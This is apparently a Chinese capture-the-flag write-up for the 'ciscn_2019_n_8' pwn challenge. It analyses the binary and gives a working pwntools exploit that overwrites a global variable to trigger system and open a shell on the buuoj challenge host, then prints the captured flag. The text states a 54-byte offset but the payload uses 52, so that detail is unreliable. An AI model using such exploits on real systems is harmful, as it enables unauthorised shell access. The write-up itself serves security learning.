ciscn_2019_n_8

ciscn_2019_n_8

逆向分析

image-20250805145427756

依旧是有附件的题目,首先checksec一下看看防御措施开了那些

image-20250805145844959

可以发现大部分的防御都开启了而且这是一个32位的文件,我们再利用ida分析一下它的逻辑

image-20250805150246553

main函数的逻辑很清晰,system函数也存在就是让n17=17就能成功获得bash,现在要考虑如何让n17=17。

我们发现var和n17两个变量都是全局变量,而main函数里主要是通过init函数来检测有没有栈溢出完全对全局变量的溢出没有影响。

通过ida里的测算var和n17之间的大小一共有54位,所以我们可以写一下payload

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
#p=process('./ciscn_2019_n_8')
#gdb.attach(p, gdbscript='''
# b *main
#''')
p=remote('node5.buuoj.cn',26102)
payload=b'a'*52+p32(17)
p.recvuntil(b"What's your name?\n")
p.clean()
time.sleep(0.1)
p.sendline(payload)
p.interactive()

测试成功

image-20250805155703988

flag:flag{7e5db22e-b1c0-470b-9c94-ead59a8547f3}